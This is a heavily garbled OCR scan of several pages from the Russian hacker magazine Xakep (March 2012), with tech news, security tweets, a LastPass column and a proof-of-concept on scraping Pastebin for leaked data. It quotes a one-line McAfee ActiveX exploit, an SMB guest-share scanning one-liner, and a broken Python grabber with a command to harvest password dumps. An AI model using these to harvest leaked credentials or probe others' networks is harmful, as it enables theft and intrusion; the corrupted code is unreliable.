APPLEOБBИHЯETSAMSUNG ELECTRONICS В ТОМ, ЧТО ЧЕХЛЫ ДЛЯ ПЛАНШЕТАGАLАХУТАВ 10.1 И СМАРТФОНОВ (!) НАРУШАЮТ ЕЕ ПАТЕНТЫ

010 ХАКЕР 03/158/ 2012

Page 13: Xakep 03_2012

Почти закончил с linux.js. Да, это моя JаvаSсгiрt-реализация ядра

Linux. Почему вы на меня так

lilcBekrar: Взлом Chгome с ASLR + О ЕР­обходом + ядреный сnлойт для

обхода nесочницы за 1 О к бак­сов? Мы живем в разных мирах . #pwn2own

El Комментарий:

Фронтмен компании Vupen возму­щается призовым фондом предстоящего

конкурса PWN20WN. Защитные механи1мы становятся все сложнее, и для их обхода

требуется больше сил и вложений ...

lilmeder: Написал в блог о моем послед­

нем баге: CVE-2011-3923. Еще

одно удаленное исполнение

кода в Stгuts2: Ьlt.R:fiЬ.i.!JYLY.E.iЬ.ы.

El Комментарий:

Сегодня у нас будет много ссылок­

общеобразовательный выпуск твитов, так

сказать. Те, кто думает, что на Java можно кадить, не оnасаясь RСЕ-багов !ну как же,

Java- это ж секурно], подумайте еще раэ! Ведь накадить можно всякое ...

Написал новый блог-пост: поиск

багов в виртуальной машине

с помощью «Докаэателя тео­

рем» - bl.lgД.pjt . [y/~J.gZ~К.

El Комментарий:

Не фаззингам единым ... те, кто инте­ресуется методами поиска уяэвимостей,

обратите внимание на это.

ХАКЕР 03/158/2012

[]

PhoneAndroid: Яндекс, сnециалист по безопас­

ности веб-приложений: спе­

циалист по безопасности веб­

приложений в компанию Яндекс ...

Ь.it.lvд'ol.,m_!?.<J .

El Комментарий: Конкурс Яндекса

по взлому сервисов прошел удачно;] .

lilcBekrar: Большой #fаil-приз отправляется

к McAfee Secuгity-as-a-Service, который устанавливает позор­

ный ActiveX, позволяющий выполнять код I:Jjt.jyд_bj..t_gf via rathezdi.

El

lilmartincronje: Один раз и для всех : HTML5 != CSS или JаvаSсгiрt-библиотек типа jQuery.

Комментарий:

Кэп ...

lilmikesica: Любой хороший инженер лени­

вый, тем не менее, не каждый

ленивый инженер хороший.

liljcran: Ручной-- iгЬ> l1 .. 254].each {lxl puts "host- 10.0 . 0 . #{х}";

'smbclient -L 10.0.0.#{х} -Uguest -N' }.

El Комментарий:

RuЬу-скрипт для скана «шар» с учет­

кой гостя ...

lilstephenfewer: Открыл порцию исходников моей

системы фаззинга для браузеров

'Fгindeг'- http:UЬit.lyLx.rUJJiW.

Chгoot-ing в Windows- так же легко, как и А : , Б:, В : ... http://Ьit . lv/yQQq_ml:J .

Комментарий:

Да, в винде тоже можно <<чрутить>> ...

lil_sinnЗr:

А вот и РоС для McAfee SaaS 0-day IZDI-12-012]: obj.ShowRepoгt "calc.exe" .

Комментарий:

Вот и весь эксплойт- obj.ShowRepoгt

"calc.exe". Да ... вот так антивирусная ком­пания устанавливает «бэкдорь~» клиентам.

А еще забавно, что эа такую 0-day ZDI запла­тила в районе 1-2 к баксов . :] Вот так .. .

Исходникам не доверяй никогда,

Люк! Дебаггером воспользуйся

вначале и убедись в потоке

Если бы РНР был британским:

peгchance ifcondition] { // Code hеге} otherwise { // Code hеге }.

Не знал о BinScope: hllQJLI:Ij_tJYLyzcQYR. Полезна для обнаружения бинарников без

NX, SafeSEH, /dynamicbase, и т . д.

.,,

Page 14: Xakep 03_2012

MEGANEWS В СЕТИ В ВИДЕ ТЕКСТОВОГО ФАЙЛА оказалисьданные о шести миллионах nользователей крупнейшей в КНР комnании­

разработчика сетевого ПО (CSDNI.

МИНИСТР СВЯЗИ ПОСЕТИЛ СОБРАНИЕ ПИРАТСКОЙ ПАРТИИ ПАРАДОКСАЛЬНО, НО ЭТО СОБЫТИЕ ИМЕЛО МЕСТО В РОССИИ

В ходе беседы со Ще­голевым выясни­

лось, что в целом он

поддержи ваетидею

открытыхданны х ,

н о декларацию от­

крытого госуда рства

как-то «не оценил •>.

Кстати, официаль­

ных комментариев

по поводупри­

сутствия главы Ми н­

комсвязи на встрече

членов Пиратской партиитак и не по­

следовало .

к а к известно , в России П иратекая партия даже не зарегистрирована [нет, ребята пытались, но ничего не вы шло) . Тем не м е нее, партия регулярно

nроводитсобрания,одноизкоторыхсостоялосьв серединея н варя

в книжн ом магазине << Ц иолко в скиЙ>>, к~то ры й находится в зда н ии П олитехниче ­ского музея . Для всех пришедших на совместн ый сбор П иратской nартии, Ф онда

развития электронной демократии и рабочей группы << ИГ протестн ых действий>>

стало полной неожиданностью появление в магазине Игоря Щеголе в а , ми н и ­

стра связи и массовых коммуникаций РФ. П редседатель партии П а вел Рассудо в

nишет в своем ЖЖ: << М инистр сделал вид. как будто зашел в в ы ходн ой купит ь

п ару к ниг и ничего не знал о намечен н о м собрании. П рисутствующи е н а встре ч е

п ро граммеры сразу нак инул ись на Ще голе в а. Еще быl Н е каждый де н ь ес т ь

возможность высказать все что думаешь в лицо министру связи. Ау n р о грам ми­

стов было что ему сказать. :1 Н о министрдержался молодцом, говорил скл адн о, однако не сказал ничего конкретного. Сразу видно-большой опыт работы

в аппарате >> . Щеголев ответил на ряд вопросов, заданных участниками собра ­

ния. В частности, рассказал , что за год-полтора в России может б ыть вв ед е н а

система электронного голосова н ия, однако общество, по мне н и ю минист ра,

пока не испытывает nотребности в такой системе. П одробности в ЖЖ Павла

Рассудова: webpolit.livejournal.com/72397.html.

NGIИX

ссВИНЧЕСТЕРНЫЙ» ГИГАНТ NGINX ВЫШЕЛ НА ВТОРОЕ ТН Е Pl RATE ВАУ &ОЛЬ--компания Seagate- МЕСТО по числу обслужи- ШЕ НЕ &УДЕТ ХРАНИТЬ

приобрелаподразделение ваемых активных сайтов, ТОRRЕNТ-ФАЙЛЫ и nолно-комnании Samsung по про- обогнав Microsoft 115. По дан- стью п е р е йдет на magnet-изводству жестких дисков. ным комnании NetCraft, ссыл ки. Теn ерь magnet-URL Суммасделкисоставила на первом месте nока Apache предлагаютс я для загрузки

$1,375 млрд. (57,93 %). по умолчанию .

012

BSOD В WINDOWS 7 ЛЕГКИМ ДВИЖЕНИЕМ РУКИ НАЙДЕНА КРИТИЧЕСКАЯ ДЫРКА В ссСЕМЕРКЕн

и нфо р ма ция о н о вой н е за к рытой критиче с к о й

у я з вим ост и в Wind ows 7 х6 4 вп е рвы е появила с ь

в Т витте р е изв естн о го ха кера w3bd3vi l. Ба г был

о бнаруже н в ф а йле операционной систем ы wi n32k.sys [ н еодно кр а т н ы й вин о вни к кри т ич ес ки х ошиб о к в Win XPI. кот о ры й с оде ржи т за в исящую от ядра ча сть п ольз о ва­

т е л ьско го инте рфе йс а и отн осящуюся к нему инфрастру к­

ту ру. Зам етим, что 32 - битна я в е р с ия ОС не во с nриимчива

к ош ибке, в то вр е мя как 6 4- б итная << Семерка » может

н е толь ко у й т и и з-з а нее в BSOD, но и nозволяет внедрить

в ма ш и н у вр едо н ос ный код на у ров не ядра. Однако самый

инт е р ес ны й нюан с з а ключается в дру гом: пр ототип кода ,

демонстрирующе го , как вы з ы ват ь данный с бо й, уже утек

в С еть . О к а з алос ь , ч то это прос той НТМ L- скрипт. Е г о з а­

п уск в б раузе р е Safari б ы стро пр иведет к ошиб ке стра н и­

цы на н еспр едел е н на м уча с т ке nамяти, и машина n о кажет

•с и н ий э кран с м е рти ». Этотскриn т представля етсоб о й

все г о лишь те г iframe с чрез выч ай н о б ольшим атрибутом

высоты. Уя зви м ос т и точн о п одв е рже на 64-битная версия

Windows 7, однако, как отм е чают э к с перты , м о г ут быть

ском п р о метиро ван ы и дру гие с и стемы. Патчана данный

момен т н е существуе т .

TORRENTFREAKCOO&- МЕДИАМАГНАТРУПЕРТ

ЩАЕТ, что Crysis 2 стала МЕРДОК завел Twitter и с его самой скач и ваемойчерез nомощью тут же обвинил

BitТo r rent игрой для РС Google в nоддержке nират-в 20 11 году. Следом идутСаll ства . В Google сnокой но на-of Du ty: Modern Warfare 3 звалиобвинение чушью.

и Battlefield 3.

ХАКЕР 03 /158/ 2012

Page 15: Xakep 03_2012

GOOGLE НА ТРИ ГОДА ПРОДЛИЛАСОГЛАШЕНИЕ С MOZILLA об исnользовании своего nоисковика в качестве основногодля Fiгefox .

БОЛЬШЕ КОЛОНОК, ХОРОШИХ И РАЗНЫХ СРЕДНИЙ ЦЕНОВОЙ СЕГМЕНТ И НЕИЗМЕННО ВЫСОКОЕ КАЧЕСТВО. КОНЕЧНО, ЭТО EDIFIER

к итайская компания Edi fieг представила в этом

месяце сразу две новых модели. Обе новинки по­

полнили топовую линей ку систем 2.0. П ервое аудио-реш ение- колонки R1500TM с про­

фессиональным микрофонным входом, который имеет

независимый регулятор громкости . Новинка может похва­

статься тради ционным для Edifier деревянным кор пусом [что гарантирует отсутствие резонансов!, НЧ-дина миками с магнитным экра н иро в а нием и 18-мм шел ковыми ку­

полообразными твитерами . Стереосигнал, подаваемый

на входные разъемы RCA, обрабатывается схемой дина­мическо го повышения высоких частот, которая спе циаль­

но разработана для мультимедиа.

Вторая новика-двухполосные колонки R900Т. Эта

акустическая 2 . 0-система, оснащенная 4-дюймовыми

НЧ-динамиками и 13-мм шелковыми куполообразными

т ви терами, хорошо воспроизводитглубок ий, богатый

бас и звонки е высокие частоты. Габариты R900T весьма скромны: 140 х 226 х 197 мм. Колонки легко подключить к выбранным источникам сигнала через 3,5-мм стереовход

RCA или RCA на RCA, которые с п особ ны принять и усилить сигнал, поступающий с любого источника звука, и обес пе­

читьвысокоекачество звучания.

ПОВСЕМЕСТНАЯАВТОМАТИЗАЦИЯ

napa интересных фактов : на заводах

компании Edifier производится более 12 млн комплектов мультимедийных колонок в год . За­

воды расположены

на трех континен­

тах. Научно­исследовательским

центром компании

руководит всемирно

известный инженер

и дизайнер Фил Джонс .

ПО АДРЕСУ MEGASEARCH.CC ЗАРАБОТАЛ АГРЕ Г А ТОР КАРДЕРСКИХ МАГАЗИНОВ, ТО ЕСТЬ РЕСУРС ДЛЯ ПОИСКА ВОРОВАННЬIХ БАНКОВСКИХ КАРТ

ХАКЕР 03/158/ 2012

MICROSOFT, КОНКУРЕНТЫ ИАRМ-СИСТЕМЫ О НЕ ВСЕГДА ЧЕСТНОЙ БОРЬБЕ ЗА МЕСТО ПОД СОЛНЦЕМ

Е ще в конце прошлого года компания Microsoft сделала заявление, которое породило у многих

нехорошие подозрения . Напомним, о чем идет речь .

В конце 2011-го компания Microsoft впервые озвучила , что

Windows8 будеттребовать Secuгe Ьооtдля загрузки [то есть обязательной активации режима безопасной загрузки

UEFII. Эта функция работаеттак : UEFI сохраняет«секретные ключи >> в ОС. Все, что хочетзагрузиться на компьютер, к при­

меру операционная система, и спользуетэти ключи для до­

ступ а к UEFI. Если в ОС не прописан соответствующий ключ ,

она не получит разрешение на загрузку. Liпuх-сооб щество

уже тогда попыталосьдонести до произ водителей , что

реализовать передачу ключей в Linux будет очень сложно, из-за чего установить Linux на заточенные под Windows8 устройствастанетпрактически невозможно.

Однако Microsoft корректно пояснила, что не имеет

ничего против Linux и други х открытых ОС, и сражается

отнюдь не с ко нк у р ентами , а с вредоносными кодами. Мол ,

безопасная загрузка тем и хороша для работы Windows, что такойпроцессперекрываетещеодинканалпроникновения

вредоносных программ. Надо признать, выглядит все это

действительно логично.

Но теперь Microsoft подготовила докуме нте требова­ниями, которые необходимо выполнитьдля сертификации

компьютеров на со вместимост ь с Windows 8. Бумага , увы,

подтверждает худшие опасения. Здесьлучше всего про­

цитировать.

Официальн ое руко водстводляпроизводителей,желаю­

щих получить сертификацию Windows 8для своих устройств, страница 116: « В системах, не относящихся кАRМ, необходи­мо реализовать возможность отключения Secure Boot через интерфейсустановки прошивки . Физически присутствую­

щий пользовательдолжен иметь возможность отключить

Secure Boot через интерфейс установки, не владея Pkpri v. Программное отключение Secure Boot средствами UEFI не должно быть возможно ни во время за грузки , ни по ее

о кончании>>.

П олучается, заявление Microsoft ото м, что она небу­деттребоватьотnроизводителей «железа•запретить

отключение Secure Boot, на деле распространялось только на традиционные ПК , н о не на АRМ-устройства. Произво­

дители систем, базирующихся на арх итектуре ARM , теперь не должны предоставлять никаких способов отключения

безопасной загрузки. Именно этот момент- обязательная

безопасная загрузка -ставит Linux [и не только! в затруд­нительное положение. Фактически это означает, чтотеперь

для «за гружаемости >> на одной из таких машин , сертифици­

рованных на совместимость с Windows 8, соответствующий ди стрибутив Linuхдолжен иметь сертифицированные крип­

таключи от конкретного и з готовител я компьютера. Встает

ре зонный вопрос: где их взять? Если выдачей ключей будут

за ниматься производители , то разработчикам дистрибу­

тивов придется отдельно контактировать с каждым из ни х.

Иеслиогромная ко рпорацияможет себетакоепозволит~

толинуксоидам это врядли окажется под силу. Централи­

зова нного о ргана сертификации, который бы формировал

ключи для режима безопасной загрузки UEFI, не существует.

Словом, похоже, Microsoft пытается бороться далеко н е только с малварью, но и с устано в кой Linux, Android и дру­

ги х открытых ОС на АRМ-системы.

013

Page 16: Xakep 03_2012

MEGANEWS КАРСТЕН НОЛ ИЭSECURIТY RESEARCH LАВSнашел очереднуюуязвимость в GSM. Подробности он пока не разглашает. ·

СКАЧАЙ И РАСПЕЧАТАЙ! PWN20WN МЕНЯЕТ ПРАВИЛА ПИРАТИТЬ ЧЕРЕЗ СЕТЬ МОЖНО НЕ ТОЛЬКО ИНФОРМАЦИЮ,

НО И ВПОЛНЕ РЕАЛЬНЫЕ ОБЪЕКТЫ

з 0-принтеры медленно, но верно про­

бираются на потребительский рынок .

Уже сейчас такой девайс [к примеру, японскую iModela) можно при обрести за пару тысяч долларов, и это будет именно «домашний»

вариант, а не жуткий промышленный станок не­

вообразимых размеров. С каждым днем об этих

трехмерных чудесах прогресса появляется все

больше статей, постов, дискуссий. А раз интерес

и спрос растут, появляется и предложение .

Еще про шлой осенью на торрент-трекере

The Pirate Вауоткрыл ся раздел с пр ограммами

для 30-принтеров, но какая-то активность

наметиласьтамтолькосейчас.Добрыелюди

наконец-то начали делиться как программа ми,

так и реальными объектами. Уже сейчас в этом

разделе можно с качать пластма ссово го робота

из вселенной Warhammeг 40К или хот-род­

модель шевроле 1970 года . Н о это безобидные

игруш ки, а ведь в Сети уже некоторое время цир­

кулируютслухи ото м, что на черном рынкетор­

гуюти30-моделямискиммеровдлябанкоматов.

Есть даже n одтвержде ния тому, что мошенни ки

действительнопольэуютсятакимимоделями!

Н ет, в « Бухте» они пока не всплывали, но это

явно воnрос времени . Похоже, у правоохрани­

тельных органов по всему миру скоро появится

еще одна головная боль .

SONY

HSeri senees

32 GB

Одним из наиболее

известных про·

ектов по ЗD·печати является RepRap -открытый проект по созданию принте­

ро в , способных воспроизводить

себя. Новейшая модель называется

Mendel, и собрать ее способен любой желающий (это действительно не· сложно!. Стоимость всех компонентов

составляет всего

$520.

ПОПУЛЯРНЫЙ КОНКУРС В ЭТОМ ГОДУПРОЙДЕТ В НОВОМ ФОРМАТЕ

м ы уже не ра з рас­

сказывали тебе

о замечательномха­

кереком конкурсе Pwn20wn, участни кикотороголомают

самый разный софт и желе­

зо, а nотом уносят с собой

хакнутыетрофеи [железные, конечно же) в качестве при ­

зов. Сообщаем, что в этом

году правила соревнования

изменились. Теперь в конкур­

се участвуюттолько Microsoft lnteгnet Exploгer, Apple Safaгi, Google Chrome и Mozilla Firefoxдля операционных си­

стем Windows 7 и Мае 05 Lion [последние версии со все-ми патчами). Мобильные девайсына конкурсе больше

взламывать не будут.

Главным сnонсором объявле-

на компания Hewlett- Packard. Три по бедителя получат денежныепризыв размере 60тысяч, 30 тысяч и 15тысяч долларов плюстрофеи в виде н аутбуков с той самой

системой , которую им удастся взломать.

Компания Google также учреди ла дополнительные призы за взлом браузера Chгome. Она обе щает заплатить 20 тысяч долла­ров за исnолнение sandbox-кoдa с исnользованием одной только

уязвимости в Chrome. В 1 О тысяч долларов оценивается ис п олне н ие

sandbox-кoдa с исnользованием уязвимастей как в Chгome, так и в

операционной системе.

Но самое главное, что в этом году изменятся сами правила

Pwn20wn. Взломанная система теnерь не исключается из состя­зания, как раньше . Все остальные участники имеют возможность

в течение трех конкурсных дней взламывать ее своими методами.

Соответственно, результат соревнования теперь подсчитывается

no очкам. В этом году Pwn20wn nройдете 7 по 9 марта. Не забывай, что в кон ­

курсе можно участвовать и в удаленном режиме!

КОМПАНИЯSОNУПРЕД­

СТАВИЛА КАРТЬI ПАМЯТИ

собственного формата XQD. Ориентированы они как

на профессиональных фото­

графов, так и на энтузиастов.

В режимах чтения\эаписи

пропускная способность XQD достигает 1 Гбит/с (125 Мб/с) .

Продажи уже начались. Карта

QD-H16 объемом 16 Г б стоит $130, QD-H32 на 32 Г б- $230, Также представлены и устрой­

ства для работы с новым

форматом.

ДВАДЦАТЬВОСЬМОГО

ЯНВАРЯ СТАРТОВАЛ ВТОРОЙ FACEBOOK HACKERCUP, который проводится еже­

годно . Лучших ждет поездка

в штаб-квартиру Facebook, а победительполучитпять

тысяч долларов.

КОМПАНИЯ TIOBE SOFTWARE УДОСТОИЛАОВJЕСТIVЕ-С

ЗВАНИЯ «ЯЭЬIК ГОДА».

Однако на первом месте

по популярнотипо-прежнему

стоит Java, а за ней идут С, С# и С++.

ХАКЕР 03/158/2012

Page 17: Xakep 03_2012

У SYMANTEC УКРАЛ И ИСХОДНЫЕ КОДЫ АНТИВИРУСА ХАКЕРЫДИСКРЕДИТИРОВАЛИПОПУЛЯРНОГО ВЕНДОРА

оддавлением хакеров компания Symaпtec, являющаяся

одним из самых известных в мире поставщиков решений

в сфере информационной безопасности, была вынуждена

признать, что хаке рам удалось получитьдоступ к исходному коду це ­

лого ряда ее продуктов. По словам представителей Symaпtec, в ходе

расследования было установлено, что кража исходного кода анти­

вирусов произошла еще в 2006 году. После этого компания ввела ряд мер для усиления безопасности, чтобы не допустить повторения по­

добных инцидентов в будущем. Хакерам удалось похитить исходные

коды таких продуктов, как Nогtоп Aпtiviгus Согрогаtе Editi oп, Nогtоп

l nteгпet Secuгity, Nогtоп SystemWoгks и pcAnywheгe версий 12.0, 12.1 и 12.5. Об утечке стало известно в середине прошлого месяца, когда некий хакер Yama Tough, причисляющий себя и к «Ано нимам», и к хакерекой группировке Lo гd of Dhaгmaгaja, написал в Твиттере, что располагает исходниками Noгton Utilities. В доказательство он выложил ссылки на небольшой документ с описанием программно­

го интерфейса сервиса для создания о писаний образцов вирусов,

а затем и с писок файлов, содержащихся в архиве с исходным кодом

Nогtоп Antiviгus. Опубликованный доку мент, кстати, датируется

апрелем 1999 года. Конечно же, Symantec сразу сообщила, что информация из этого документа не может навредить нынешним

продуктам компании. Зато архив с исходным кодом компания не про­

комментировала.

П о заявлениям самих хакеров, информацию им удалось выудить

с серверов ведомства военной разведки Индии. Иными словами, утечка произошла не из сетей самой Symaпtec [хоть это радует).

По некоторым данным, хактивисты опубликовали имеющуюся у них

информацию, чтобы помочь судебному разбирательству, которое

недавно началось в США. Десятого января против Symaпtec было

выдвинуто обвинение в том, что она продвигаетсвою продукцию

с помощью так называемых sсагеwаге-программ, которые запугива­

ют пользователей, извещая их о возможных проблемах с безопасно­

стью в особенно назойливой форме.

Несмотря на все заявления Symaпtec, что у хакеров оказались

старые данные, которые не могут нанести никакого вреда, раз­

работчики уже начали выпускать патчи. Компания предп очитает

перестраховаться , вне зависимости оттого, откуда именно «утекла»

информация и насколько она актуальна на данный момент.

МЫ ЛЕГИОН: ИСТОРИЯХАКТИВИСТОВ

ПРОФЕССИОНАЛЬНЫЕ ДОКУМЕНТАЛИСТЫ ИЗ КИНОКОМПАНИИ LUMINANT MEDIA СНЯЛИ 93-МИНУТНЫЙ ФИЛЬМ О ВЕЛИКИХ И УЖАСНЫХ ANONYMOUS

ХАКЕР 03/158/2012

• ~ WI!XLI!Г. www.wexler.ru

• Электронная книга с доступом в Интернет

Читай. Смотри. Слушай.

WEXLER.BOOK Т7006

WI!XLI!Г.STORE Удобный достуn к бесnлатным книгам

и nоnулярные новинки.

:х: о Cl.. <t с:[ о r::

Скачивайте и читайте на www.wexler.ru!

«МЕТРО 2033» ДМИТРИЯ ГЛУХОВСКОГО И ЕЩ~

ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО

В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER

ТЕЛЕФОН ГОРЯЧЕЙ ЛИНИИ: 8 (800) 200 96 60

Page 18: Xakep 03_2012

IEADER

КОЛОНКАСТЁПЫИЛЬИНА

ОХРАНЕНИИ ПАРОЛЕЙ ВЫБОР РЕШЕНИЯ Использовать один и тот же па роль для всех

сервисов сразу- одна из самых серьезных

ошибок пользователей. Но и удержать в голове

огромное количество уникальных пассов­

задача явно непосильная. Я долго пытался

приучить себя к использованию менеджеров

па ролей вроде KeyPass [keepass.info), но из этого так ничего и не вышло. Открывать

программу, чтобы искать там нужный параль

-явно не самое удобное, что можно приду­

мать. Да и локальное хранилище, в котором

находятся зашифрованные па роли, попахивает

архаизмом- не таскать же его на флешке? :) Короче говоря, я решил попробовать решения,

которые так же, как и KeyPass, помогали бы генерировать уникальные па роли и сохранять

их, но вдобавок автоматически использо-

вали бы их в браузере! Вариантов тут не так

много. Среди специализированных решений

наиболее раскрученной оказалась программа

1 Passwoгd [ agileЬits.com/onepasswoгd), кото­рая изначально появилась для Мае, но позже

была портирована и для Windows. Продукт очень качественный, но отдавать $69.99 за кроссплатформенную версию мне показалось

слишком. Тем более сегодня, когда практиче­

ски для всего можно найти бесплатную альтер­

нативу. Та ко вая, в общем-то, действительно

быстро нашлась-ейстал замечательный

сервис LastPass [lastpass.com), на котором я и остановился. Очень кратко опричинах, почему

я выбрал его. Во-первых, сервис универсален и работает под любой ОС [Windows, Linu x, Мае), что было для меня важным критерием. Он

имеет плагины для всех популярны х браузе­

ров [Fiгefox, lnteгnet Ехрlогег, Chгome, Safaгi, Орега). А платным подписчикам [$1 в месяц) доступны также версии для популярных

мобильных ОС . Во-вторых, LastPass делает ровно то, что от него требуется- автомати­

чески предлагает сохранить па роли и данные

форм, а затем подставляет их при следующем

посещении страницы. Если аккаунтов для

какого-то сайта несколько, то можно быстро

переключиться с одного на другой. А если

для какого-то кривого сайта данные автома­

тически не парсятся, то это легко исправить

вручную. В-третьих, LastPass хранит зашифро­

ванные па роли в облаке, поэтому хранилище

с па ролями не надо носить с собой на флешке

016

или извращаться с его синхронизацией через

тот же самый DгорЬох . Доступ к хранилищу

защищен мастер-ключом [сложным паролем),

который в целях безопасности невозможно восстановить. Будь осторожен!:)

НЕКОТОРЫЕ ФИШКИ LASTPASS Я не буду рассказывать о том, как использо­вать LastPass,- там все элементарно. Но не могу не поделиться с тобой несколькими по­

лезными фишками, которые меня порадовали .

Проверка надежности па ролей

Один только факт того , что па роли хранятся

в надежном хранилище, не делает их по­

настоящему безопасными. LastPass с твоего разрешения может сделать быстрый анализ

пассов, легко отыскав среди них простые и от­

кровенно слабые [вроде «123456») . В програм­му встроен бенчмарк, который высчитывает

показатель надежности всех паролей,- ре­

зультат можно сравнить с показателями других

пользователей в специальном рейтинге.

Одноразовые парали

Многих, вероятно, смутит возможность до­

ступа к па ролям с помощью одного только

мастер-ключа . Нет проблем! На флешку можно

записать специальную утилиту LastPass Sesame [есть версии под любые ОС), которая, по сути, превращает накопитель в токе н. Если

LastPass работает на любых устройствах и ОС

активировать в аккаунте LastPass одноразо­вые па роли, то войти без такого токе на будет

уже невозможно. Каждый раз будет необхо­

дим о вставить флешку, запустить Sesame и использовать сгенерированный программой

параль вместе со своим мастер-ключом.

Только в этом случае можно будет добраться до

хранилища. По отдельности что мастер-ключ,

что флешка с Sesame ценности для злоумыш­ленника уже не представляют.

Двухфакторнан авторизация через Google Для авторизации ты также можешь купить

настоящий токен-например YuЬikey за $25 [ stoгe.yuЬico.com),- а можешь воспользовать­

ся уже готовым решением от Google. Напомню ,

что система от поискового гиганта предлагает

установку насмартфон специального прило­

жения [Google Authenticatoг), которая в каждый момент времени генерирует уникальный одно­

разовый ключ. Так как я постоянно пользуюсь

этой системой для входа в Gmail, то я тут же настроил ее и для защиты LastPass. Подроб­ную инструкцию можно найти на официальном

са йте 1 helpdesk.lastpass . com/secuгity-options/ g oog 1 е -а ut h е nti саtог).

Справедливости ради стоит отметить, что

одноразовые парали и двухфакторная автори­

зация доступны только платным подписчикам .

Но $12 в год- не такая уж большая плата за надежное хранение па ролей.

Sign in to Gmaillj\Jith your

Goug[e Account

Username: llpuser Dl ::::==========~!

Password:l•••••••• Dl D Stay signed in

1 Sign in J

Can't access \'СUГ acccunt?

Автоматический вводлаги на и пара ля из базы LastPass

ХАКЕР 03/158/ 201 2

Page 19: Xakep 03_2012

Proof-of-Concept СОБРАТЬ ИНТЕРЕСНЫЕ ДАННЫЕ С PASTEBIN.COM И ПОДОБНЫХ СЕРВИСОВ

ХОСТИНГ ТЕКСТА Максимально быстро и удобно расшарить лю­бой текстовый файл - такова миссия извест­

ного онлайн-сервиса PasteЬin . com. Создатели

изначально рассчитывали, что их проектом

будут активно пользоваться nрограммисты,

которые легко смогут выкладывать на этом

ресурсе любые исходники с подеветкой синтак­

сиса. И так вначале и было. Н о чего они точно

не могли ожидать, так это бешеной популярно­

сти сервиса у хакеров . Вспомни все последние

истории с взломами от Анонимов и Lulzsec -почти всегда для публикации конфиденци­

альных данных [к примеру, дампов паролейl ис­пользовался именно PasteЬiп.com . За примерам

далеко ходить не нужно. Среди наиболее по­

пулярных на текущий момент записей [ pasteЬin . com/tгendsl несложно заметить, к примеру:

• дамп каких-то учета к с Fa cebook; • внутреннюю базу данных какого-то взломан­ного сайта, включая e-mail'ы пользователей

и хеш и их па ролей;

• листинг IР-адресов с привязкой к конкретным организациям и компаниям.

de f readke-fWOrd8 {fЬ&n.:llet:

"'f7.tu~ [_.rs ;r1p(l for _ l n thendle ]

dtiГ fltch (ltOIIif!, 10\lrCf!l, lritY"//rdl, l~t'e-UtCh):

setrch_rc"' N.c:~~~;~ilc( 'I' .]Oln(Ryvo:dsl)

for QC:Iera:.cr, pt t.Ь in src:.new_urls{ stora~11:):

s :&tus , ':ittt • ;tntrttor.~t..,;tttt(path)

! ull_url •IJ1!:!1eracor.!ull .. u:l{Jiath)

scoraoc . savc_url(!ull_url, :uec:h.Qroup(l Н utch and stoa .. IOoltC:h a l sa "'~ 1

print •ts NtC.Ьtd ''' t (!ll.ll_u:l, ь.ц:h.qroup(IJ L.ltn!:l( 'utch' ,qentator,t~;e:age,:atch-:uteh.q:cup(),

utl-tull_url, dtta'"CI.ata)

еsеr -ш(нчs• 'С!!' ):

.ser _Ь..ttend_or_uit lstoraoel:

t l"/1

Jtor&\lc.connec~(l

Н not нoa.oe.connccttdO:

print >> :~ys.stdeп, "!a1led to open stOrl9f! b•ct'IHid• lyl.t!l.l~( l l

l"eturn s ~orage

ер~• • ..sa rse_op~•!•~• l

e;o;cept IC8J"ror • • е :

p1"1nt>>sys.Jtdeн, ·opt10Qt!tn~r:

sya.e;o;i,t( l )

n~....ord• • -Н op~s.tvB le:

ke \'Wr:>I'ds • _aad_lteyworda(opts .ltv!ile l i:I JI 811ft:

keywords • D!fAt!L!_кtYio't!RDS

1ourc•• • ! fasteЫnSource(l,

fastie S~;~urce (l

Исходник грабберана Python

ХАКЕР 03/158/2012

Такая популярность ресурса легко объ­

яснима: каждый может опубликовать на нем

любые данные вообще без регистрации. При

этом записи не проходят никакой премодера­

ции и тут же оказываются в Сети. Моментально.

Руководство, конечно, удаляет противозакон ­

ный контент по первом у запросу правообла­

дателя или пострадавшей стороны, но к этому

времени он уже успевает расползтись по Сети.

Это , в общем, история не только про PasteЬiп .

сот, но и про другие похожие сервисы:

Pastie, FгubaгPaste, YouгPaste, Codepad, Slexy и Lodge lt. Идея сегодняшнего РоС- автомати­

ческий сбор «интересных» данных с подобных

ресурсов. Иными словами, надо реализовать

инструмент, обходящий записи и по некоторым

ключевым словам собирающий большую базу

данных «интересного>> контента.

СБОР ДАННЫХ Идея, на самом деле , не новая. В Сети можно

найти немало написанных на коленке сценари­

ев: например, от malcOde [ Ьit . ly/Aп58Yd l или NeonTempest [ Ьit.ly/zRuК7o l. Но лучшей реа­лизацией затеи, пожалуй, является сценарий

PastyCake от исследователя 9Ь+ [ Ьit. ly/xHXd f H I, который он опубликовал совсем недавно.

Скрипт позволяет изящно обходить записи

на хостингах PasteЬiп .com и Pastie.oгg и логи­

ровать все записи, используя базу ключевых

слов. Результаты сохраняются в текстовом

файле или базе данных SQLite. В ближайшем времени дополнительно появится поддержка

MongoDB и MySQL. П оскольку сценарий на-

с. .. ·~-~­~-----

Oestroy Spyware

Раздел «Trending Pastes)) - что качают чаще всего?

писан на Python, то запускается всё из команд­ной строки:

python gather.py -k kwords -о urls.db \ -а -"[email protected]" harvest

Ключ 'haгvest' включает режим сбора

данных. Отчеты о найденных данных будут

отправляться на указанный e-mail. Опция << -О >>ис пользуется для выбора файла для

вывода . А ключ <<-k>> позволяет задать базу ключевых слов, на которые будет реагировать

граббер . Вообще, настроить кейворды- это,

пожалуй, самое главн ое . Например, упо­

мянутые выше сценарии были максимально

адаптированы для поиска дампов с учеткам

пользователей, логов чата, информации о кре­

дитных картах и банковских аккаунтов. Список

ключевых слов, используемых по умолчанию

в PastyCake, прямо скажем, невелик:

DEFAULT_KEYWORDS = [

'password' , 'hack' ,

Но даже этого вполне достаточно, чтобы

про верить, как идея реализована на практике.

Дальше всё зависит от твоей фантазии.

РАЗВИТИЕ ИДЕИ Интересно, что в Сети даже есть целые ресур­

сы, которые периодически обходят контент

таких хостингов и публикуют интересные

ссылки с соответствующей классификацией.

К примеру, исследователь Джейм Бл аско ве­

дет Тwittег-ленту PasteЬinleaks ltwitteг.com/# ! / PasteЬin leaks l, где его робот-парсер автомати­чески п убликует записи вроде

